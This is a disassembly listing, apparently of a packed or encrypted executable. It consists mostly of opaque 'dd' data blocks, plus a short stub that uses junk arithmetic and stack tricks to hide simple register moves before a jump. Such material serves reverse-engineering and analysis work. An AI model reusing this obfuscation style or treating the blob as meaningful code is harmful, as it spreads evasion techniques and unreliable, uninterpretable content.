57583F52h, 20C5A835h, 0EB3FFDA8h dd 0E2079578h, 3201FFEAh, 996D252Ah, 23725h, 20F29300h dd 0EEA61D9Bh, 39B7C268h, 777DE81h, 87786454h, 5DB6F29h dd 837511A6h dd 738F99D4h, 5BA17B3Dh, 54F4B230h, 7F7D3C26h, 0BCD320F3h dd 42203FD4h, 7018CFE6h, 10AE4C37h, 0D9E2B756h, 0C31A4B63h dd 3B968175h, 0AFCB5657h, 0F8B637DEh, 8871EA3Eh, 18CF817Dh dd 0BF4EC89Ch, 3459D7D8h, 3B255C61h, 0E013412Eh, 9CBD508h dd 8D6C0000h, 4916468h, 7204E9FFh, 0DEB61B49h, 51268BD9h dd 8F4E24A8h, 0DF8D36DBh, 4301A64Ah, 0F1971CFEh, 6064896Ch dd 58F15951h, 0A47105CAh, 47015714h, 0EF06AE3h, 0A503D677h dd 0DE8E33C0h, 0A6C0DEA9h, 8046982h, 0BEFB075h, 0D8016AABh dd 66F5CCA8h, 0D0D5A548h, 0A44929BCh, 5FF8500Ah, 0DD71052Dh dd 0ADDAB20Eh, 0DBAAC4E2h, 8DD8B039h, 0D7B136DEh, 0D07836B2h dd 6F082836h, 0DF99D184h, 6B8A690Eh, 0C9DEC808h, 29CB9E65h dd 279DC880h, 7109AE42h, 6C0DFE9Ch, 0F590F847h, 0F2866B7Fh dd 631D9BCDh, 0EE418DB0h, 0C9C308E8h, 7704ED50h, 2E4339ACh dd 30FA647h, 0D0E6DA45h, 90B2538h, 4D2C0000h, 0C45124A8h dd 32C4A93Fh, 9E76DB89h, 11E64B19h, 0CF0EE4E8h, 9FCDF69Bh dd 341660Ah, 0B1D7DCBEh, 20A4492Ch, 98311991h, 0E47105C9h dd 0F0D89754h, 770EF04Fh, 0D3F92D07h, 0F9B12F5Ah, 11EBB751h dd 18560575h, 4A1EA375h, 525739CCh, 531E69D6h, 0BE35EF7h dd 44E4A271h, 710BE3CBh, 88DFAA31h, 3C7AC1EAh, 98130ECh dd 1F5B0E6Fh, 0CAEF8065h, 469C782h, 0B5184C71h, 0D6A2DDE2h dd 7BE6D6E8h, 8837E93h, 0D5A40000h, 4C29BCD0h, 0BA5C21A7h dd 26CE5331h, 997EC381h, 47F67C10h, 17757E13h, 9BC9EE82h dd 95F6436h, 0B82CD1A4h, 1089A119h, 6C7105CAh, 0F26F1FDCh dd 2770EF0h, 69064A6Bh, 42E6801Eh, 7511ABB1h, 0C0179748h dd 7E870A76h, 0B7631AAh, 4DD88F71h, 6F0BDEF7h, 99F3F89Eh dd 573670CCh, 0C5A83CC5h, 11F4B237h, 0D610B483h, 99713E71h dd 0B10F5A32h, 81BC5FD9h, 850EE2F6h, 2CED3A9h, 75000008h dd 4B6785F0h, 120735FFh, 6C7CEB75h, 0BC747C4h, 0B5FC571h dd 6A29172Dh, 1ADD093h, 0C7A60000h, 89DC8C35h, 482AB033h dd 47E3B95Bh, 770EF0CEh, 0B0D8A732h, 981E4ED5h, 92E213C7h dd 0E543B938h, 9DCFF080h, 50C9611Bh, 0AC770E7Ch, 472E4339h dd 0B95B26A6h, 6977630h, 716E1037h, 0B702B8B9h, 5034B0D5h dd 0EC8A2FCDh, 0F4707519h, 0CAAD394h, 0F8019372h, 417FF590h dd 0E8D38E9h, 6761F477h, 9AF2F39Ah, 0F596237h, 0E7577BB7h dd 8BFA2E06h, 8DE079D1h, 715C770Eh, 14711BA0h, 0BC5E3389h dd 8DCB44E4h, 0AA31770Eh, 562489DFh, 0CF5B15ADh, 770E8D56h dd 236942D4h, 247FA6FCh, 8B533BB1h, 770E9496h, 0D7B136DEh dd 4D1FA44Ah, 9A2468C4h, 0B7CF1311h, 0C3A2DCE5h, 5B2F852Eh dd 406508DDh, 58E75D08h, 1CF1892Fh, 0C3FD7B7Ch, 0E93E667h dd 0A6775A77h, 3EF8B61Dh, 0E9371EAh, 9C18CF77h, 0BF9161CCh dd 0E93F26Bh, 0C9B4E77h, 8025F558h, 6D9265C8h, 0E83C707Bh dd 0AF3DC256h, 717A1CF1h, 0FD0296FBh, 33B1DCEBh, 8ABDD377h dd 3F7B7511h, 0B9C72EBh, 8C1BCE71h, 0A575D8h, 0CD0DCE48h dd 7C153539h, 0C0710B0Eh, 7CA4415h, 632C9B11h, 781D2D45h dd 0F4710AF8h, 0F59A6761h, 63319CCCh, 0CDA30E5Eh, 9C21A424h dd 533A7CA0h, 0C0AF3A52h, 6605496Bh, 102178B5h, 0BD69F38h dd 294E1D71h, 473D2B8Ah, 3BA94E22h, 0AB3DC256h, 7E1733EDh dd 0C2710B0Ch, 0DF94217h, 252282EAh, 1795E04Fh, 0D1A1CF5Bh dd 821F6F0Eh, 0A28D6224h, 5A5F3D3Fh, 7DC85732h, 0F1F69A6Fh dd 0A247D4B9h, 3DDFA2C6h, 8766D0B4h, 5F6034F5h, 0F0FF74F0h dd 0FB94B485h, 41770EF0h, 0D7730F9Ah, 751208C5h, 11FCEC7Bh dd 6A697F84h, 466088F0h, 5329D2A7h, 0F076133Bh, 8EB2770Eh dd 52465E5Ah, 0A35D996Dh, 0C08831C2h, 0E50A8385h, 3911770Eh dd 770EE4A0h, 8356491Ch, 453725h, 2A400000h, 59186A49h dd 8B25E099h, 0B84AC3Ch, 3D770EDAh, 9C33555Ah, 67A2CD41h dd 0EC83C673h, 34545D33h, 1B82CA51h, 0E441F125h, 31C284C8h dd 0D734C488h, 11770E27h, 0DF638659h, 0BA9C7FC0h, 0FF8ADB3Eh dd 15AFFFFh, 0F06AE347h, 99B1770Eh, 770EF100h, 23B6E97Ch dd 504D2045h, 0D5AE35BEh, 88F0AC2Fh, 96F6FB98h, 18F64F3h dd 8E6A8F6Ch, 8074F9FAh, 7F986D56h, 36h, 9888F0F8h, 0CE9BCDF6h dd 29018263h, 770EF0B0h, 1E4590Ch, 0A0492A82h, 172F1C3h dd 24BD8D47h, 98770EF0h, 0F042DBCDh, 2BBE770Eh, 55D3D4A4h dd 3C40h, 88F0F300h, 29018360h, 770EF0B0h, 1BB38ADh, 616B8C6Ch dd 65FE4A64h, 0DB770EF0h, 3CF6B00Ch, 37D8C5A9h, 20A527B2h dd 0A527CCADh, 2ACF4420h, 0CFB85849h, 83C68627h, 0F1D4A934h dd 0BF442A72h, 0F08C052Dh, 0DBBC770Eh, 0F0AC2505h, 4510770Eh dd 7103EEFEh, 0B3D5DEB0h, 5A014BD6h, 2784365Ah, 0EF81D90Dh dd 8F7686CAh, 45770EECh, 0FFF39E76h, 492A8DFFh, 0F8019273h dd 0EF037D0h, 4BD68577h, 791F6A05h, 0EA841398h, 11FB305Eh dd 513BAE75h, 0BD30C89h, 0F0241871h, 6A2FDCE0h, 119B93h dd 5A240000h, 0Bh, 0FEAB491Ch, 0ECF99318h, 0F028AB01h dd 0FF4B6785h, 75120E09h, 55385007h, 9DAD23C8h, 710BCDC7h dd 0DCBE6B09h, 25A7482Fh, 0D6B3D5A0h, 0CE17B098h, 0F665710Bh dd 290656Bh, 0B3C6EFF9h, 750D51D3h, 816402A7h, 0C481CBF0h dd 0DEB10468h, 3EAC7D9h, 7286A2E2h, 7C81142Eh, 70744C41h dd 6F99ED56h, 0FAh, 1BC0934Dh, 36019CB5h, 1FE760A8h, 1632768Eh dd 768E1F7Dh, 0AE3D14C3h, 87F051D2h, 29018C61h, 770EF0ABh dd 0CEECF7A8h, 0C38B0424h, 6AF1770Eh, 0CB1BA055h, 9191427Ch dd 0F928F0E6h, 3C5FF850h, 0EDD770Eh, 14EC5A3h, 47AC8B6Ch dd 0B00A2041h, 2FB2DAA1h, 0A722AA4Bh, 0AD225CD8h, 2AFC547Bh dd 2FC1A243h, 9888F0ACh, 8A6BF6FBh, 8074A82Bh, 7F986D56h dd 31h, 8D5E01F8h, 1B86EE41h, 9CE45329h, 2901A71Ch, 770EF0B0h dd 1E4590Ch, 8B21D85Eh, 4FBCDDE6h, 4806E25Bh, 0A0492A4Bh dd 5A72F1C3h, 4Ch, 0E34701D9h, 770EF06Ah, 1AA503D6h, 0C85A572h dd 70770EF1h, 0EC15E6E5h, 2901AC01h, 770EF0B0h, 1BB38ADh dd 0A0492A82h, 63FC4C06h, 0BE770EF0h, 0EF0F16Ah, 0B9984F77h dd 1BB494D2h, 61770EF1h, 1857EFAh, 63658E6Ch, 473C8A66h dd 0FFFEFD5Ah, 432AD9FFh, 906104A2h, 8864616Bh, 757A1DE0h dd 8F2D5817h, 8157F3h, 0A83F7512h, 0E07B1820h, 8B89710Bh dd 3E4B5147h, 2704936Ah, 0B7000000h, 4B6785F0h, 11FF4DFFh dd 5A14C375h, 88C0E98Bh, 0FF0767DDh, 710BDF62h, 4A2E72AEh dd 936A4132h, 0E92Dh, 432A4E00h, 5933B85Ah, 0F0D24BDFh dd 0BB2E770Eh, 0D7DCB92Ch, 0D4742E48h, 770EF03Bh, 0E5EDA81h dd 219BD788h, 0DFEBAEAh, 0B43DD2B7h, 1A649D4h, 0F3F48469h dd 0E5881575h, 1B7C8CC0h, 76770E49h, 0EEFEFF97h, 85687DFBh dd 48FE97B3h, 9742770Eh, 0BDA4408h, 86EB416Ah, 0E99ECEEFh dd 0C266009Eh, 751165B4h, 96D1B722h, 0E2B5CDEBh, 77DF3F52h dd 66209C70h, 975CDC2h, 0E29C4B6Fh, 0B28F6E03h, 894F336Eh dd 0FE4301ECh, 25D19019h, 0B6E6D634h, 24F3BD6h, 9E80000h dd 801DE0E4h, 0EE80157Bh, 5A3287C5h, 0CDA23755h, 13C2A024h dd 5B09B247h, 0CF9D22F6h, 7D13987Ah, 0ECE005E8h, 0DC75D5D5h dd 207105C3h, 452AD390h dd 0E04802BCh, 770EF067h, 247106D5h, 0D6C64D90h, 6AFF9369h dd 8A446283h, 0E4725BEh, 70CC9B77h, 85F0671Ch, 4DFF4B67h dd 0C37511FFh, 8C27414h, 0BDFA720h, 0EA461571h, 0BDF45C2h dd 95DC371h, 6A41152Fh, 0C6D293h, 2A6D0000h, 6104A243h dd 0FE8E6A8Fh, 13757E13h, 0C65FEBA5h, 3A770EF0h, 98F9D1AFh dd 0D8770EF4h, 17F6B035h, 7A6F7982h, 683D3925h, 0A602DBB7h dd 17987FC2h, 4C22C375h, 137EC9A7h, 3F4DDD95h, 0BD75116Ah dd 820DBA2Eh, 0DABB4A64h, 56D2B7D1h, 4FA3018h, 0ED786F09h dd 5A5F30D5h, 0DDCEA336h, 972EB53Ah, 0E6D66CF5h, 667F927Ah dd 81000001h, 0A9FCDF2h, 0B90C4069h, 2BBED2D7h, 5B2EA243h dd 0D55F0DB6h, 169B7C2Ah, 0EA0BEF72h, 788113E6h, 0C9EE8114h dd 6CBCFA9Bh, 7105C2F3h, 2AC4A749h, 6E28BC45h, 0F0FB94B4h dd 9A41770Eh, 0FE0FF3C5h, 0CAA6D10Fh, 5BFCD0A7h, 1DDE7F4h dd 0E962AAF9h, 57770E3Eh, 2C573580h, 4A2432Ah, 0F065FE4Ah dd 0CDB770Eh, 0B533B859h, 0A548D5h, 5A58234Ch, 0EB920C1Ch dd 0FE8F7511h, 1BFC9318h, 1593F696h, 7C11A93Ch, 0B95A1499h dd 8B403B21h, 264A268Ch, 513BBC53h, 8A9E6B16h, 710B8211h dd 556DF86Fh, 82168F9Bh, 0FF6A710Bh, 0D2E34701h, 4E6F0495h dd 3D0ED89Bh, 3BD3E6DAh, 0A826h, 0FB04300h, 8227F459h dd 6C957BCEh, 0FC019578h, 4F7405E8h, 3E6CAB19h, 0A93C5059h dd 0DDA024C9h, 43D6BA3Fh, 3C450BACh, 0C135AE7Ah, 0F98B7105h dd 6785F07Ah, 18FC914Bh, 1490F597h, 8042B34h, 0B8A57675h dd 2D67E951h, 1ECDE440h, 0EB0CE34Eh, 0B27D10E5h, 268125E0h dd 473041E9h, 0FC8958E4h, 0FB0345D0h, 77289329h, 0D56DB18Fh dd 4B05BD42h, 0E49B66FFh, 0F88EA46Eh, 0BEEE35E7h, 1074F067h dd 83C5EA8Dh, 3751563Eh, 6A2C704Ch, 9B6E6283h, 4499F3F4h dd 11h, 23C4AB3Ah, 5E01CE45h, 0DAD31CF6h, 0CF8B6167h, 0A6472AD4h dd 33B45B26h, 9D26F459h, 6D9266CBh, 0F801967Bh, 476C0D90h dd 0D3D4B805h, 0B942D4B9h, 8B1422Fh, 0F5680B40h, 89000071h dd 0C768241Ch, 89000065h, 8950240Ch, 405E0h, 0E8830000h dd 24048704h, 243C895Ch, 16BBB850h, 0C1890609h, 8324048Bh dd 0F86804C4h, 89000053h, 4832424h, 835F0424h, 148904ECh dd 89CA8924h, 0FF5A0857h, 815F2434h, 4C4h, 240C8B00h, 5E08950h dd 4, 8704C083h, 0E95C2404h, 0FFFA4CC5h, 3D65FCC0h, 995766CCh dd 0B83CA71Ah, 6093036h, 0C650C503h, 32F3985h, 25684706h dd 0FFCF3817h, 31359B5h, 0A7858D06h, 0FF060338h, 8DD88BD0h dd 30D0585h, 4685006h, 0FF000001h, 3985C6D3h, 5306032Fh dd 7F8BF68h, 59B5FF83h, 8D060313h, 338A785h, 89D0FF06h dd 9149C85h, 0DDBD8306h, 6032Ch, 0B840Fh, 9D8B0000h, 6030C0Dh dd 5E9h, 0BB00h, 680000h, 8D000001h, 914A0B5h, 0FF535606h dd 3037D95h, 0A0B58D06h, 3060914h, 1E9F0h, 804E0000h, 840F5C3Eh dd 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh, 14A0858Dh, 0FF500609h dd 9149C95h, 0E0FF5806h, 703D80CAh, 0B428ADDh, 24F93989h dd 4DF2E1Ah, 2476F0B7h, 7BE108F6h, 5D059BC0h, 651FEB92h dd 1A0AC56Ah, 744CD4E3h, 2D25AEACh, 35D32499h, 4D23F591h dd 8E05519h, 32768D8Dh, 6A0609h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 491B97C3h, 8D89F927h dd 60331D1h, 19499D23h, 9D290603h, 6033155h, 1E185C7h dd 5A4C0603h, 0B5890000h, 6032311h, 21BD85C7h, 603h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 47C17DC3h, 0F221DC70h, 59BD897Ch, 0E906030Bh, 7, 0BE7C24E4h dd 0FF836385h, 31A31B5h, 158B0F06h, 0E8000000h, 9, 71AE3ADAh dd 2114CEB3h, 3DB529BAh, 5E060321h, 269195FFh, 6A0603h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0CF0F39C3h, 4F152F0Bh, 61858983h, 6A06032Eh, 0B995FF00h dd 8B06031Fh, 0B038EBC0h, 0D8F1237Ah, 0F504B02Eh, 15F1363Ch dd 9673E031h, 36762331h, 0A9EA337Bh, 0C5E17C1Dh, 0EBF3F5A5h dd 8204670Ah, 7462880Ch, 0A82DFF03h, 654B8E88h, 0A1689D92h dd 0E8EC6290h, 7, 0CCEAAC3Eh, 0FCEA425h, 689h, 1D950900h dd 58060323h, 12E8h, 0EA46500h, 907C7639h, 4A4A6CB7h, 52302E58h dd 66342DD3h, 5F29AEBEh, 73B8C081h, 0E8600000h, 0Bh, 9C0CB6A0h dd 1875FB9Ah, 8B3D7B28h, 321F1B5h, 6E95A06h, 0BA000000h dd 11A2E771h, 0ABB961C2h, 0F900001Ch, 0FE930FFh, 0F000000h dd 0FC695236h, 0E93CD67Ch, 64844FC0h, 0E95BDD74h, 0Ch dd 927A4964h, 0CC05380Ch, 0F2183FCEh, 0AFE8EB81h, 8B6668BCh dd 17F381D6h, 667400E6h, 810E31BEh, 3E2D33C3h, 0DDBD8B6Fh dd 89060312h, 958D0118h, 81060332h, 7B2084E8h, 0E9B58B2Bh dd 81060331h, 7B2080C0h, 13E82Bh, 69BD0000h, 605027B5h dd 27E5A789h, 489E9DC0h, 6CBA4ABCh, 8D8509BFh, 5A06032Dh dd 19850F49h, 0E9000000h, 5, 0D3738BA4h, 1AE99Ch, 58360000h dd 750DCE4Ah, 4DCE5FAh, 2B9BD33h, 55E90603h, 31FFFFFFh dd 0CFEFFFB5h, 0DE8h, 73620100h, 0EE4AF898h, 0A239D258h dd 8960B663h, 32265BDh, 0E9BD8B06h, 6106030Ah, 0C081F958h dd 5B42h, 16AF68h, 0B5858900h, 5E06032Ah, 85C98166h, 5B30FF0Ch dd 0F38190B2h, 5D8BB2C5h, 31E18D89h, 0EB810603h, 6DC5830h dd 0EA23C381h, 0BD0B2F34h, 6030599h, 0A8C58053h, 2952008Fh dd 31E959Dh, 0E8835F06h, 9E903h, 52DB0000h, 9634E09Ch dd 48C918BCh, 31ED8D8Bh, 0F4E0603h, 0FFFFB085h, 418589FFh dd 0EB06031Dh, 0B61B9026h, 8EAFEC33h, 64746E55h, 642E6C6Ch dd 88006C6Ch, 34074621h, 0EFA3D25Dh, 565673h, 0 dd 0E9000000h, 6A0h, 9360768h, 48D7E906h, 0DF68FFFAh, 0E9060936h dd 0FFFA48CDh, 9377168h, 48C3E906h, 4D68FFFAh, 0E9060938h dd 0FFFA48B9h, 9391F68h, 48AFE906h, 0E168FFFAh, 0E9060939h dd 0FFFA48A5h, 0E2E607EAh, 17757E1Fh, 81C7EC82h, 3157583Ch dd 0A226CBACh, 0B04115C0h, 20F0450Bh, 9664C99Fh, 3EA7F6Dh dd 0D3D7EEE2h, 5BCDE77h, 0D1922271h, 2B5Ah, 432AD900h dd 0B0472AA2h, 3CDF590Fh, 0A7226A41h, 0A8F0CC10h, 853522F1h dd 2FA8803Eh, 8D770EEAh, 0CD4A62DEh, 67770EEAh, 7B786C95h dd 94F25E01h, 0D2E70CEDh, 4D1267CBh, 6635F06h, 60CFA5E1h dd 21DB9715h, 0CDF28667h, 0ED642DBh, 4D2BBE77h, 11E8537Dh dd 4A02C975h, 0BE325A2h, 0BA3BDF71h, 1AA4FD2h, 3E62DE47h dd 1B4FF59Ch, 8151B768h, 88552130h, 3FD072Ch, 4BFA936Ah dd 5000002h, 0E0AB1FEEh, 0CE84A4C2h, 2B751209h, 0B533B85Ah dd 9AB2C99Ch, 0AD22638Ch, 0CDA0711Ch, 80C5872Ch, 0E1690F88h dd 13FE6DB4h, 79C9F357h, 0BD50B2E4h, 0E2B6D5DAh, 62DE8BDDh dd 0B3F49443h, 0B93ED2C8h, 932FBA2Fh, 920B1FD9h, 89B2E051h dd 0E05128A1h, 0CEC194B2h, 5C8D9D1Bh, 0B7B0DE3Fh, 3CB841D6h dd 553876E5h, 0D2853DC2h, 0A24A1B6Bh, 0F8A67C1Dh, 0DD972D6h dd 0B027B4E6h, 7D3B4F25h, 0A243C1DAh, 0DEB4640h, 51109578h dd 24F899DAh, 75924F1Fh, 2D000004h, 563BA94Eh, 0C5A83CC5h dd 77DA8E33h, 0E74A1E9Fh, 9FBE912h, 0F2F798CEh, 46670B9Eh dd 0D4DDBF02h, 0A54A2DB0h, 30189E27h, 7105BA97h, 19053E5h dd 0F06AE347h, 0F99A770Eh, 0D2CD98F0h, 31C4A907h, 0B95ADC8Ch dd 0BFB164D0h, 139C18CEh, 1C2C4A68h, 7511C7A2h, 66876EFFh dd 0C767E048h, 6D5710Bh, 88DC8BAAh, 0EF9A10E1h, 0BB91B9F1h dd 796F0EE0h, 57CF5658h, 0DBFC7057h, 1AF55D8Ch, 98D6BDDBh dd 0BAD14ADEh, 0B82F770Eh, 416820E7h, 64C0BBA7h, 30EB1F29h dd 88F30E74h, 0D2FC4C6Ah, 48DC7423h, 836E9365h, 1FD3BEC9h dd 2D3F2DDEh, 7F3B86BDh, 0A84D20C5h, 5FABFCCCh, 0FA61D66Eh dd 6B4629BCh, 3473C932h, 44089778h, 0E6991EF1h, 7E48276Dh dd 9D01DCACh, 0F5000003h, 7EC38126h, 0ED70149Dh, 1FE2E60Bh dd 8F127677h, 2183C1EAh, 2ACFA0F6h, 0BE3FD3A6h, 0CB5472Ah dd 9D22F558h, 58F0B6CFh, 7105BABFh, 2AE88B3Dh, 9D2AA243h dd 6EBAF4F2h, 7511F310h, 2FD0A449h, 0BA3FD0BDh, 4C28B7D2h dd 0C5E2E675h, 0A6823CBAh, 6F051E48h, 8D4763F6h, 149015F8h dd 4B199E71h, 9E3713CDh, 0E27704BEh, 1CCF7DBDh, 9E65FD46h dd 7A84F22h, 6032D345h, 2752DD5Bh, 0DB59F189h, 597507B2h dd 5A00F3B2h, 3DCDE0D9h, 30B20h, 37B85B00h, 8A2FCC51h dd 149D73C6h, 0E409ED70h, 777C1DE0h, 36649311h, 0A1345861h dd 0D5B82CD1h, 5B2EA247h, 45D33B4h, 0B92DA682h, 0E1937105h dd 0A2432A02h, 0FC996C2Ah, 74F095F7h, 8422C0CBh, 12088AA4h dd 27A53075h, 1B422h, 4CEE5100h, 0DDE2B657h, 0A43D0D8Bh dd 18770EF0h, 0BD0AE64Dh, 0A64B2CD2h, 9AD4A326h, 32DB3FE0h dd 0B2C7E888h, 72CE366Fh, 1144845Ah, 18570275h, 0F77D330h dd 644C379Ch, 0C627DBCEh, 43FFA79Ah, 40495364h, 6963886Ah dd 6C0A917Ch, 0D24DF6DCh, 0E7E17481h, 35BE5C31h, 0CC45E553h dd 3081D25Dh, 0D562DEA5h, 0B8720CAAh, 5DB12AFEh, 580F81D2h dd 4A9BCCDCh, 4A117FD0h, 36BB592Ch, 8669FCBAh, 0F79E6361h dd 0C4DABFF6h, 0CF9F15EAh, 22F12h, 13946700h, 0E60BE87Dh dd 70791FE2h, 0C0E5891Ch, 5358398Ch, 0D288B73Dh, 4DD0B43Dh dd 0F14408ADh, 67CA9E23h, 58796F90h, 0B851CA5Eh, 1DAF7105h dd 0A2432A5Eh, 0BA8E6104h, 0EF0F56Eh, 319C4B77h, 0D6B63257h dd 0AEC8E691h, 1200209Ah, 0E2B31E75h, 0DCE58AD9h, 1E72D98Ch dd 7D08AA4Fh, 31E7437Fh, 0EF6F0EF8h, 84CBEC80h, 0CE9BCDF6h dd 0D0A64763h, 0C893962Bh, 0F012D9F0h, 0EC813974h, 494210Ch dd 3319981Dh, 8E0C8A4h, 51FCEF68h, 320AA38Eh, 5035575Ch dd 7D68FC0Fh, 0D3C0EDA1h, 35B31E95h, 0C9E1FF8Ah, 30849B61h dd 9AF299E6h, 6A04A2EDh, 2A308DDEh, 1A5403ECh, 4D03A44Bh dd 0E74315F8h, 0E82A126Eh, 0F9B807D2h, 6834FA6Ah, 5DC21FEFh dd 35000001h, 0BE034166h, 2DB0D4DDh, 5F22A64Bh, 0CF5236B7h dd 61C3812Ah, 0EA0FE0B6h, 7E7F13E6h, 0CCF5876Ah, 5D623598h dd 1830760Fh, 7105B77Fh, 2AA84BFDh, 4A04A243h, 0EF065FEh dd 40BCA577h, 0EF7AC4EDh, 234B21B4h, 0BFFBF984h, 10FE0D6Bh dd 28BC2B75h, 6785F0ABh, 73D7914Bh, 770EF0DAh, 1535B326h dd 75082491h, 8B2CC0AFh, 0CE3823Ch, 7D10E5EBh, 919D3E78h dd 4A78F0F2h, 3ADDD799h, 0BB06E6A7h, 6F1AAD3Dh, 9B113971h dd 996EFECFh, 6BFAB4F2h, 0B0666687h, 0E8FFF98h, 3EE7D77h dd 882DC0A5h, 199E71C4h, 0AF4D384Fh, 8D093713h, 7D107511h dd 859C189Dh, 46CE9FD6h, 0FB93E0D3h, 9B66h, 8728CB00h dd 1A9F7CC1h, 0E40DE376h, 74791DE0h, 0C7EC8D10h, 0A6F42381h dd 0D1A428D1h, 4528BC41h, 0CB5E32B7h, 0B4CD8324h, 0B7BD56F2h dd 71037105h, 886C01F2h, 533E8967h, 0A10D1D55h, 9F750824h dd 5A3D80C8h, 0A8481D55h, 4D004507h, 54008ADh, 9F76DBAFh dd 6BA64E1Eh, 0BD412C74h, 741B5387h, 0E5881D73h, 3A525738h dd 0E88C0AFh, 9A16977Fh, 0CE9E1FF7h, 237BAF85h, 5025AB4Ch dd 52A3F2BDh, 51B850C0h, 0DFE05F47h, 0C1AC5307h, 8C31C4A9h dd 5B3389DCh, 386h, 80033D00h, 26A6472Ah, 5933B45Bh, 0CB9D26F4h dd 7B6D9266h, 90F80196h, 5476C0Dh, 0B9D3D4B8h, 2FB942D4h dd 4008B142h db 0Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] pop esp sub esp, 4 mov [esp], edx push 1BB4h mov [esp], ecx push eax mov eax, 60934C0h push eax add dword ptr [esp], 5EF139A8h pop edx sub edx, 5EF139A8h pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push edx push edx mov edx, 75E008E2h sub [esp+4], edx pop edx pop dword ptr [ecx+8] add dword ptr [ecx+8], 75E008E2h push dword ptr [esp] pop ecx add esp, 4 mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5439D9 ; --------------------------------------------------------------------------- db 0ECh, 0DDh, 0Bh dd 93AA1B8h, 0FFC50306h, 1D2D5BE0h, 7C741E5Dh, 0B63BE815h dd 2A0AFB27h, 0BCE9A31Fh, 50347615h, 446DB60Eh, 0A8118A02h dd 1304934Ah, 71BFAD2Fh, 3206265Ch, 9C24CF15h, 0B37E3857h dd 2F0FEE7Bh, 21DD9E5Eh, 0D3085B03h, 8A254F0Dh, 0E4AF6936h dd 1803D718h, 0BF2E7022h, 0B545CC0Fh, 26564B31h, 2069533Ch dd 0D235673Ah, 3A393763h, 7D126C1Bh, 8337CA7Ch, 0FA4F186Bh dd 7616977Eh, 56EE7023h, 0E4850C01h, 314B965Bh, 0DE81Dh dd 0EAA50000h, 0E55E098Bh, 0EA86C438h, 0FEC0A6Eh, 8159FFBFh dd 7362C1h, 0D667BE00h, 0B7BB27CEh, 6600001Ch, 0FFD973BFh dd 8E931h, 868F0000h, 0E1AB8733h, 565A365Ah, 0F2815EF5h dd 746C8464h, 5099FBFh, 3FEA813Ah, 605FA5DAh, 2785DB81h dd 81666CBFh, 61AA39DFh, 0C85EF281h, 6660515Ch, 0EB09C881h dd 0F88B6660h, 11896161h, 0FC88B60h, 38Dh, 0C0BF0F00h dd 4E98361h, 0EB839CB4h, 0A0850F01h, 0B8FFFFFFh, 606FB3AEh dd 8EBh, 0F15A0000h, 0E1E97C8Ch, 68000004h, 6093D5Ah, 0FA4110E9h dd 3DFF68FFh, 6E90609h, 68FFFA41h, 6093F4Ch, 0FA40FCE9h dd 0FB043FFh, 8227F459h, 6C957BCEh, 0FC019578h, 4F7405E8h dd 3E6CAB19h, 0A93C5059h, 0DDA024C9h, 43D6BA3Fh, 3C450BACh dd 0B435AE7Ah, 0F98B7105h, 835E017Ah, 0F1B8E007h, 3AD37733h dd 86770E07h, 5F3055D3h, 0E47B1C5Ah, 60C30DBAh, 0DEB2DD2Eh dd 0B61D07EAh, 28CF523Ah, 0C3548354h, 0D2C4B9DDh, 0EB961FAh dd 0BD08DF77h, 0F7F5802Fh, 0D1C16FBBh, 0E87F7511h, 0D1BB58E0h dd 0CB49710Bh, 338B9187h, 1A44936Ah, 32000003h, 4C3EDC61h dd 0B0E63FCh, 6D32D971h, 7DFBC8F0h, 611AEE86h, 6FC5EE8Ch dd 7B37B5C0h, 1208F9AFh, 57F3B775h, 710BC1BEh, 0ADC85702h dd 68A4059Bh, 0CCEA95A4h, 427F8B2h, 4176654Fh, 55AB8379h dd 0D379AB43h, 0F7911AFCh, 22450792h, 9215957h, 77AC6FF1h dd 0FDE984Fh, 0BC014768h, 579DD4D9h, 241DB68Dh, 3368944h dd 0A1700000h, 18E5481Ch, 8668FD93h, 0F29A6F7Dh, 650A9FCDh dd 7BBA085Ch, 23A14A2Fh, 5735BA5Eh, 0C58B30C2h, 74189D70h dd 44DD6D2Dh, 0B87105B3h, 85F06B08h, 30FF4B67h, 8775081Ch dd 3C1C4CD4h, 5D973ECh, 7D02C971h, 54D0CAFFh, 3DD0EE7Dh dd 2BA4845Ch, 917105BAh, 84697FCAh, 5C6536F3h, 2BFFB9F1h dd 7105BAB2h, 402A910Eh, 5B261087h, 0F01870CCh, 0A5CD40E0h dd 32AB7F39h, 0C27D180Ah, 0DF8A852Ah, 8E690C61h, 99601803h dd 0F67B1AA8h, 0EBEE4D12h, 0F89015F9h, 0F8BB06EDh, 1F267E4Ah dd 911AF797h, 0D5000002h, 5E23A146h, 0CD5034BDh, 7FC2862Bh dd 0EF721697h, 1E3E10Ah, 0CAEF80D6h, 5E5F3386h, 2CD5A70Ah dd 0BD42D5B8h, 3810962Fh, 7105B39Fh, 0F0886B1Dh, 0FF4B6785h dd 75081C30h, 0A51375E0h, 338932C0h, 5B47E1Bh, 19EC8A71h dd 0C5F9777Ch, 1038F291h, 7105B477h, 0A99A16C5h, 93641293h dd 159A7D10h, 1A3BD9Fh, 2A3E0000h, 472AA243h, 2E590FB0h dd 1D2D4563h, 75120047h, 0C07616C5h, 0CDAB502Dh, 0BE060FDh dd 7B0AAC71h, 697C6C95h, 7D7BAF93h, 936A3E67h, 5C60h, 6C019300h dd 0F9FE928Fh, 7D6FFAEFh, 58238C68h, 7A0C1C5Ah, 977511FFh dd 5C5722F6h, 61B82DD3h, 0A124A433h, 437FEACBh, 0A527CCA2h dd 72244420h, 0EFF90293h, 0B12E7EFAh, 7F710BD6h, 0B02901BBh dd 0C710BD6h, 432ED3A1h, 0DE8DD1E5h, 646670Fh, 0C6DEE543h dd 81936A37h, 0ACh, 0A2432A32h, 9B2472Ah, 491BF25Fh, 0EF068E1h dd 0BA01D477h, 0CEA342FCh, 0F06AE325h, 3D6770Eh, 9578C5A5h dd 0DDAC7C10h, 1F770EF4h, 0C5EE8F78h, 325D6A7Eh, 3F2EFAB4h dd 0F1750C88h, 0D8B94C6Ah, 24F697D3h, 1C98CD9Fh, 0EF14E548h dd 0D5B56CD4h, 449971E0h, 